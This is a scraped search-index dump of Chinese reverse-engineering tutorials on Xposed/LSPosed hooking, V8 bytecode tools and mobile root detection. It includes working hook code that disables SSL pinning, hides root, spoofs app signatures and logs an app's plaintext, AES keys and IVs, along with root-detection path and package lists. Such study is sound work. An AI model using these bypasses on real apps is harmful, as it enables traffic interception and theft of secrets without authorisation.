XposedHelpers.findAndHookMethod(\"com.target.app.Outer$1\", classLoader, \"onClick\", android.view.View.class, new XC_MethodHook() { /* ... */ }); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:5:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#hook-内部类"},{"categories":null,"collections":null,"content":"Hook 抽象方法 / 接口方法 不能直接 Hook 抽象方法，需 Hook 具体实现类，或用 hookAllMethods 动态捕获： Class\u003c?\u003e base = XposedHelpers.findClass(\"com.target.app.Encryptor\", classLoader); XposedBridge.hookAllMethods(base, \"encrypt\", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"实际调用类: \" + param.thisObject.getClass().getName()); } }); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:5:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#hook-抽象方法--接口方法"},{"categories":null,"collections":null,"content":"基于反射的动态 Hook 类名被混淆时，可通过方法特征在运行时定位： Class\u003c?\u003e obfClass = XposedHelpers.findClass(\"a.b.c\", classLoader); for (java.lang.reflect.Method m : obfClass.getDeclaredMethods()) { if (m.getReturnType() == String.class \u0026\u0026 m.getParameterTypes().length == 2 \u0026\u0026 m.getParameterTypes()[0] == byte[].class) { XposedBridge.hookMethod(m, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(\"疑似加密方法返回: \" + param.getResult()); } }); } } ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:5:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#基于反射的动态-hook"},{"categories":null,"collections":null,"content":"读写对象字段 // 读取字段 Object val = XposedHelpers.getObjectField(param.thisObject, \"mField\"); int count = XposedHelpers.getIntField(param.thisObject, \"mCount\"); boolean ok = XposedHelpers.getBooleanField(param.thisObject, \"isEnabled\"); // 设置字段 XposedHelpers.setObjectField(param.thisObject, \"mField\", \"newValue\"); XposedHelpers.setIntField(param.thisObject, \"mCount\", 999); // 静态字段 / 调用方法 XposedHelpers.setStaticBooleanField(targetClass, \"DEBUG\", true); Object result = XposedHelpers.callMethod(param.thisObject, \"getConfig\"); Object inst = XposedHelpers.callStaticMethod(targetClass, \"getInstance\"); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:5:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#读写对象字段"},{"categories":null,"collections":null,"content":"常用 Hook 场景 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:6:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#常用-hook-场景"},{"categories":null,"collections":null,"content":"SSL Pinning 绕过 // 方式一：替换 TrustManager XposedHelpers.findAndHookMethod(\"javax.net.ssl.SSLContext\", classLoader, \"init\", javax.net.ssl.KeyManager[].class, javax.net.ssl.TrustManager[].class, java.security.SecureRandom.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { param.args[1] = new javax.net.ssl.TrustManager[]{ new javax.net.ssl.X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return new java.security.cert.X509Certificate[0]; } public void checkClientTrusted(java.security.cert.X509Certificate[] c, String a) {} public void checkServerTrusted(java.security.cert.X509Certificate[] c, String a) {} } }; } } ); // 方式二：绕过 OkHttp CertificatePinner XposedHelpers.findAndHookMethod(\"okhttp3.CertificatePinner\", classLoader, \"check\", String.class, java.util.List.class, new XC_MethodReplacement() { @Override protected Object replaceHookedMethod(MethodHookParam param) { return null; } } ); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:6:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#ssl-pinning-绕过"},{"categories":null,"collections":null,"content":"Root 检测绕过 // 1. 隐藏 Root 相关文件 XposedHelpers.findAndHookMethod(\"java.io.File\", classLoader, \"exists\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String path = ((java.io.File) param.thisObject).getAbsolutePath(); if (path.contains(\"/su\") || path.contains(\"/magisk\") || path.contains(\"Superuser\") || path.contains(\"busybox\")) { param.setResult(false); } } } ); // 2. 拦截 Runtime.exec（阻止执行 which su 等命令） XposedHelpers.findAndHookMethod(\"java.lang.Runtime\", classLoader, \"exec\", String[].class, String[].class, java.io.File.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String[] cmds = (String[]) param.args[0]; if (cmds != null \u0026\u0026 cmds.length \u003e 0 \u0026\u0026 (cmds[0].contains(\"su\") || cmds[0].contains(\"which\"))) { param.setThrowable(new java.io.IOException(\"Permission denied\")); } } } ); // 3. 伪造 Build.TAGS XposedHelpers.setStaticObjectField(android.os.Build.class, \"TAGS\", \"release-keys\"); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:6:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#root-检测绕过"},{"categories":null,"collections":null,"content":"签名验证绕过 XposedHelpers.findAndHookMethod(\"android.app.ApplicationPackageManager\", classLoader, \"getPackageInfo\", String.class, int.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { String pkg = (String) param.args[0]; int flags = (int) param.args[1]; if (pkg.equals(TARGET_PACKAGE) \u0026\u0026 (flags \u0026 0x40) != 0) { // GET_SIGNATURES Object pkgInfo = param.getResult(); if (pkgInfo != null) { android.content.pm.Signature origSig = new android.content.pm.Signature(ORIGINAL_SIGNATURE_HEX); XposedHelpers.setObjectField(pkgInfo, \"signatures\", new android.content.pm.Signature[]{ origSig }); } } } } ); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:6:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#签名验证绕过"},{"categories":null,"collections":null,"content":"调试标志修改 // 让目标应用变为可调试 (debuggable) XposedHelpers.findAndHookMethod(\"android.app.ApplicationPackageManager\", classLoader, \"getApplicationInfo\", String.class, int.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { android.content.pm.ApplicationInfo info = (android.content.pm.ApplicationInfo) param.getResult(); if (info != null) { info.flags |= android.content.pm.ApplicationInfo.FLAG_DEBUGGABLE; } } } ); ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:6:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#调试标志修改"},{"categories":null,"collections":null,"content":"与 Frida 对比 特性 Xposed / LSPosed Frida 核心目标 永久性修改：长期、稳定地改变应用行为 动态分析：实时、临时的逆向 运行环境 Root + 刷入框架，需重启 Root，无需重启，动态附加 开发语言 Java（模块是标准 APK） JavaScript（脚本即改即用） 开发周期 慢：编码→编译→安装→激活→重启→测试 快：写脚本→附加→立即生效 持久性 极强：随应用启动自动生效 弱：依赖 frida-server 会话 Hook 层面 主要 Java 层 Java 层 + Native 层均可 反检测 较难被检测（系统级注入） 较容易被检测（ptrace 附加） 何时选择 Xposed：永久改行为（去广告、防撤回）、Hook 应用启动最早期代码、需长期稳定运行、目标有 Frida 检测。 何时选择 Frida：逆向分析快速迭代、Hook Native 层、实时修改脚本、一次性分析任务。 最佳实践：先 Frida 分析，再 Xposed 固化 1. 静态分析 (jadx/JEB) ──\u003e 了解应用结构，定位关键类和方法 2. Frida 动态分析 ──\u003e 快速验证 Hook 点，迭代调整 3. Xposed 模块固化 ──\u003e 将方案写成持久化模块 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:7:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#与-frida-对比"},{"categories":null,"collections":null,"content":"调试与排错 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:8:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#调试与排错"},{"categories":null,"collections":null,"content":"日志调试 // 推荐：XposedBridge.log —— 同时输出到 LSPosed 日志界面和 logcat XposedBridge.log(\"[MyModule] 调试信息\"); // 备选：标准 Android Log android.util.Log.d(\"MyModule\", \"调试信息\"); adb logcat -s \"LSPosed\" \"XposedBridge\" \"MyModule\" # 过滤关键标签 adb logcat | grep \"MyModule\" # 快速查看模块日志 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:8:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#日志调试"},{"categories":null,"collections":null,"content":"常见错误与解决 模块未加载 — 检查：xposed_init 文件位置和类名拼写 → AndroidManifest.xml 三个 meta-data → LSPosed 作用域是否勾选目标应用 → 强制停止目标应用后重开。 ClassNotFoundException — 类名拼错或类尚未加载。用 jadx 确认正确类名（内部类用 $）。若类延迟加载，可 Hook Application.onCreate 后再执行： XposedHelpers.findAndHookMethod(\"android.app.Application\", classLoader, \"onCreate\", new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { ClassLoader cl = param.thisObject.getClass().getClassLoader(); hookMyTarget(cl); // Application 创建后大部分类已可访问 } } ); NoSuchMethodError — 方法名或参数类型不匹配（注意混淆后方法名可能是 a/b/c）。调试技巧：列出目标类所有方法： Class\u003c?\u003e clazz = XposedHelpers.findClass(\"com.target.app.Utils\", classLoader); for (java.lang.reflect.Method m : clazz.getDeclaredMethods()) { StringBuilder sb = new StringBuilder(m.getName()).append(\"(\"); for (Class\u003c?\u003e p : m.getParameterTypes()) sb.append(p.getName()).append(\", \"); sb.append(\") -\u003e \").append(m.getReturnType().getName()); XposedBridge.log(\"[Debug] \" + sb); } Bootloop（启动循环） — 紧急处理：长按关机 → Recovery → ADB 删除或禁用模块： adb shell su -c 'touch /data/adb/modules/zygisk_lsposed/disable' # 或直接删除: rm -rf /data/adb/modules/zygisk_lsposed 预防：始终在 handleLoadPackage 中过滤包名，永远不要无条件执行 Hook。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:8:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#常见错误与解决"},{"categories":null,"collections":null,"content":"实战案例 💡 思路一句话: Xposed/LSPosed 的优势是「持久化 hook」— 重启后 hook 仍然生效，适合需要长期监控或修改应用行为的场景（如持续抓包、自动化测试、功能修改）。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:9:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#实战案例"},{"categories":null,"collections":null,"content":"Hook 目标应用的加密函数 假设通过 jadx 分析发现目标应用 com.example.secureapp 有加密工具类： // jadx 反编译输出 package com.example.secureapp.crypto; public class AESHelper { public static String encrypt(String plaintext) { /* AES 加密 */ } public static String decrypt(String ciphertext) { /* AES 解密 */ } public static byte[] encryptBytes(byte[] data, byte[] key, byte[] iv) { /* ... */ } } 编写 Hook 模块： package com.example.cryptohook; import de.robv.android.xposed.*; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; public class CryptoHook implements IXposedHookLoadPackage { private static final String TAG = \"[CryptoHook]\"; private static final String TARGET = \"com.example.secureapp\"; private static final String CLS = \"com.example.secureapp.crypto.AESHelper\"; @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { if (!lpparam.packageName.equals(TARGET)) return; XposedBridge.log(TAG + \" 开始 Hook...\"); ClassLoader cl = lpparam.classLoader; // Hook encrypt(String) XposedHelpers.findAndHookMethod(CLS, cl, \"encrypt\", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" encrypt 明文: \" + param.args[0]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" encrypt 密文: \" + param.getResult()); // 打印调用栈定位调用来源 XposedBridge.log(TAG + \" 调用栈:\\n\" + android.util.Log.getStackTraceString(new Throwable())); } } ); // Hook decrypt(String) XposedHelpers.findAndHookMethod(CLS, cl, \"decrypt\", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" decrypt 密文: \" + param.args[0]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" decrypt 明文: \" + param.getResult()); } } ); // Hook encryptBytes(byte[], byte[], byte[]) —— 捕获 key 和 iv XposedHelpers.findAndHookMethod(CLS, cl, \"encryptBytes\", byte[].class, byte[].class, byte[].class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" encryptBytes:\"); XposedBridge.log(TAG + \" data: \" + bytesToHex((byte[]) param.args[0])); XposedBridge.log(TAG + \" key: \" + bytesToHex((byte[]) param.args[1])); XposedBridge.log(TAG + \" iv: \" + bytesToHex((byte[]) param.args[2])); XposedBridge.log(TAG + \" key(UTF-8): \" + new String((byte[]) param.args[1], \"UTF-8\")); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log(TAG + \" result: \" + bytesToHex((byte[]) param.getResult())); } } ); } private static String bytesToHex(byte[] bytes) { if (bytes == null) return \"null\"; StringBuilder sb = new StringBuilder(); for (byte b : bytes) sb.append(String.format(\"%02x\", b)); return sb.toString(); } } 增强：自动保存数据到文件 private void saveToFile(String filename, String content) { try { java.io.File dir = new java.io.File(\"/sdcard/CryptoHook/\"); if (!dir.exists()) dir.mkdirs(); java.io.FileWriter w = new java.io.FileWriter(new java.io.File(dir, filename), true); String ts = new java.text.SimpleDateFormat(\"HH:mm:ss\").format(new java.util.Date()); w.write(\"[\" + ts + \"] \" + content + \"\\n\"); w.close(); } catch (Exception e) { XposedBridge.log(TAG + \" 写文件失败: \" + e.getMessage()); } } 构建、安装与验证： ./gradlew assembleDebug adb install -r app/build/outputs/apk/debug/app-debug.apk # LSPosed 中启用并设置作用域为 com.example.secureapp adb shell am force-stop com.example.secureapp adb shell monkey -p com.example.secureapp -c android.intent.category.LAUNCHER 1 adb logcat | grep \"CryptoHook\" 预期输出： [CryptoHook] 开始 Hook... [CryptoHook] encrypt 明文: {\"user\":\"admin\",\"pass\":\"123456\"} [CryptoHook] encrypt 密文: a3f2b8c1d4e5... [CryptoHook] encryptBytes: [CryptoHook] data: 7b22757365... [CryptoHook] key: 4d795365637265744b6579313233 [CryptoHook] iv: 00112233445566778899aabbccddeeff [CryptoHook] key(UTF-8): MySecretKey123 [CryptoHook] result: e8b2","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:9:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#hook-目标应用的加密函数"},{"categories":null,"collections":null,"content":"LSPosed 特性 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:10:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#lsposed-特性"},{"categories":null,"collections":null,"content":"作用域管理 这是 LSPosed 最重要的改进。原版 Xposed 会将模块加载到所有进程中，而 LSPosed 可以精确指定作用域——只让模块加载到选定的应用中，未选中的应用完全不受影响。 LSPosed 作用域设置 ┌──────────────────────────────────────────┐ │ 模块: CryptoHook │ │ │ │ [x] com.example.secureapp (目标应用) │ │ [ ] com.android.systemui │ │ [ ] com.android.settings │ │ [ ] 系统框架 (android) │ │ │ │ 仅在勾选的应用进程中加载此模块 │ └──────────────────────────────────────────┘ ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:10:1","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#作用域管理"},{"categories":null,"collections":null,"content":"无需重启激活模块 启用/更新模块：LSPosed Manager 中操作后，只需强制停止目标应用再重新打开即可生效。 作用域包含系统框架/SystemUI 时：仍需软重启或完整重启。 adb install -r new_module.apk # 更新模块 adb shell am force-stop com.target.app # 强制停止 → 重新打开即生效 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:10:2","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#无需重启激活模块"},{"categories":null,"collections":null,"content":"与原版 Xposed 的差异 功能 原版 Xposed LSPosed API 兼容 API 82 API 82-93 完全兼容 作用域管理 无（加载到所有进程） 精确到单个应用 Android 支持 最高 8.1 8.1 - 14+ 注入方式 替换 app_process 基于 Riru/Zygisk 隐藏检测 无 寄生管理器 + 通知栏入口 日志 文件形式 内置查看器，支持过滤 多用户支持 不支持 支持（工作资料、分身） ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:10:3","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#与原版-xposed-的差异"},{"categories":null,"collections":null,"content":"隐藏机制 寄生管理器：LSPosed Manager 以随机包名寄生，不暴露 org.lsposed.manager。 通知入口：可隐藏桌面图标，通过通知栏快捷方式进入。 最小侵入：得益于作用域，未选中的应用完全感知不到框架存在。 ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:10:4","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#隐藏机制"},{"categories":null,"collections":null,"content":"常见应用场景总结 场景 说明 典型代表 UI 定制 修改系统或应用外观 GravityBox 功能增强 防撤回、自动抢红包等 微X模块 去除限制 去广告、去截图限制 大圣净化 隐私保护 拦截敏感信息，返回虚假数据 XPrivacyLua 安全分析 绕过 SSL Pinning、Root 检测 TrustMeAlready ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:11:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#常见应用场景总结"},{"categories":null,"collections":null,"content":"参考资源 Xposed Framework Wiki LSPosed GitHub Xposed API Javadoc LSPatch GitHub ","date":"2024-10-09","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/:12:0","tags":["Native层","动态分析","Frida","SSL Pinning","Hook","Xposed"],"title":"Xposed 框架入门","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_guide/#参考资源"},{"categories":null,"collections":null,"content":"V8 引擎工具 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:0:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#v8-引擎工具"},{"categories":null,"collections":null,"content":"概述 当我们在分析深度混淆代码，或者研究浏览器漏洞时，普通的 JS 调试器可能不够用了。这时我们需要直接使用 V8 引擎提供的工具来查看字节码（Bytecode）和优化过程。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:1:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#概述"},{"categories":null,"collections":null,"content":"1. D8 (Debug8) D8 是 V8 引擎的独立 Shell，类似 Node.js 的 REPL，但提供了更多底层 API。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:2:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#1-d8-debug8"},{"categories":null,"collections":null,"content":"安装 通常可以通过 jsvu (JavaScript Version Updater) 来安装最新或特定版本的 V8/D8。 npm install -g jsvu jsvu # 按照提示选择 install v8 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:2:1","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#安装"},{"categories":null,"collections":null,"content":"查看字节码 (–print-bytecode) 這是分析混淆逻辑的神器。即便源码变量名被混淆了，其底层的字节码操作是不会变的。 v8 --print-bytecode script.js 输出示例： [generated bytecode for function: test (0x...)] Parameter count 2 Register count 1 Frame size 8 12 E\u003e 0x... @ 0 : a0 StackCheck 23 S\u003e 0x... @ 1 : 25 02 Ldar a1 25 E\u003e 0x... @ 3 : 34 03 00 Add a0, [0] 30 S\u003e 0x... @ 6 : a4 Return 通过阅读 Bytecode，我们可以还原出数学运算逻辑。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:2:2","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#查看字节码-print-bytecode"},{"categories":null,"collections":null,"content":"2. 性能与优化分析 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:3:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#2-性能与优化分析"},{"categories":null,"collections":null,"content":"Turbolizer 一个用于可视化 V8 TurboFan (优化编译器) 优化流程的工具。 生成 JSON 日志: v8 --trace-turbo script.js 打开在线工具或本地部署的 Turbolizer，加载生成的 turbo.cfg 或 json 文件。 用途: 通过查看控制流图 (Control Flow Graph)，可以非常清晰地看到代码的真实执行路径，无视源码层面的控制流平坦化混淆。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:3:1","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#turbolizer"},{"categories":null,"collections":null,"content":"3. 常用 V8 Flag --print-opt-code: 打印优化后的汇编代码。 --trace-opt: 跟踪优化过程（何时优化，何时去优化）。 --trace-deopt: 跟踪去优化（Deoptimization）的原因。这在分析为了让 V8 变慢而故意构造的混淆代码时很有用。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:4:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#3-常用-v8-flag"},{"categories":null,"collections":null,"content":"总结 使用 V8 工具是 Web 逆向的核武器。当 JS 层面的分析陷入僵局时，下沉到引擎层面往往能看到不一样的风景。 ","date":"2024-10-05","objectID":"/reverse_engineering/web/02-tooling/v8_tools/:5:0","tags":["Web","抓包","DevTools","工具","反混淆"],"title":"V8 引擎工具","uri":"/reverse_engineering/web/02-tooling/v8_tools/#总结"},{"categories":null,"collections":null,"content":"移动端安全与风控技术 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： T01: Frida 使用指南 - 动态分析与 Hook 技术 C01: 反分析技术案例 - 常见检测手段与绕过 R17: 设备指纹与绕过 - 设备指纹采集技术 现代移动应用，特别是处理敏感用户数据或有价值业务逻辑的应用，通常会实现多层安全机制来防御逆向工程、篡改和自动化滥用。这一领域涉及 RASP（运行时应用自我保护）、反机器人技术、风控引擎等多个技术方向。 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:0:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#移动端安全与风控技术"},{"categories":null,"collections":null,"content":"技术体系概览 ┌─────────────────────────────────────────────────────────────────────────────┐ │ 移动端风控技术体系 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 客户端安全层 │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌───────────┐ │ │ │ │ │ 环境检测 │ │ 代码保护 │ │ 数据加密 │ │ 设备指纹 │ │ │ │ │ │ Root/越狱 │ │ 代码混淆 │ │ 通信加密 │ │ 唯一标识 │ │ │ │ │ │ 模拟器 │ │ 反调试 │ │ 本地加密 │ │ 行为特征 │ │ │ │ │ │ Hook 框架 │ │ 完整性校验 │ │ 密钥保护 │ │ 硬件信息 │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 通信安全层 │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌───────────┐ │ │ │ │ │ SSL Pinning │ │ 请求签名 │ │ 防重放 │ │ 协议加密 │ │ │ │ │ │ 证书固定 │ │ HMAC/签名 │ │ 时间戳+随机 │ │ 自定义协议│ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 服务端风控层 │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌───────────┐ │ │ │ │ │ 行为分析 │ │ 规则引擎 │ │ ML 模型 │ │ 风险决策 │ │ │ │ │ │ 时序分析 │ │ 实时规则 │ │ 异常检测 │ │ 拦截/放行 │ │ │ │ │ │ 模式识别 │ │ 黑名单 │ │ 用户画像 │ │ 验证码 │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:1:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#技术体系概览"},{"categories":null,"collections":null,"content":"1. 客户端安全技术 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:2:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#1-客户端安全技术"},{"categories":null,"collections":null,"content":"1.1 环境检测机制 Root/越狱检测 检测维度： // Java 实现 - 综合 Root 检测 public class RootDetection { // 检测维度1: 文件系统检测 private static final String[] ROOT_PATHS = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/data/local/bin/su\", \"/data/local/xbin/su\", \"/system/app/Superuser.apk\", \"/system/etc/init.d/99SuperSUDaemon\", \"/dev/com.koushikdutta.superuser.daemon/\", \"/system/xbin/daemonsu\" }; // 检测维度2: Build 属性检测 private static boolean checkBuildTags() { String buildTags = android.os.Build.TAGS; return buildTags != null \u0026\u0026 buildTags.contains(\"test-keys\"); } // 检测维度3: 危险应用检测 private static final String[] ROOT_PACKAGES = { \"com.topjohnwu.magisk\", \"eu.chainfire.supersu\", \"com.koushikdutta.superuser\", \"com.noshufou.android.su\", \"com.thirdparty.superuser\", \"com.yellowes.su\", \"com.devadvance.rootcloak\", \"de.robv.android.xposed.installer\", \"org.lsposed.manager\" }; // 检测维度4: Native 层检测 public static native boolean nativeRootCheck(); // 综合检测 public static int getRootScore(Context context) { int score = 0; // 文件检测 (权重: 30) for (String path : ROOT_PATHS) { if (new File(path).exists()) { score += 30; break; } } // Build 属性 (权重: 20) if (checkBuildTags()) { score += 20; } // 应用检测 (权重: 25) PackageManager pm = context.getPackageManager(); for (String pkg : ROOT_PACKAGES) { try { pm.getPackageInfo(pkg, 0); score += 25; break; } catch (PackageManager.NameNotFoundException e) { // 未安装 } } // Native 检测 (权重: 25) if (nativeRootCheck()) { score += 25; } return score; // 0-100 分，越高越可疑 } } Native 层检测： // Native 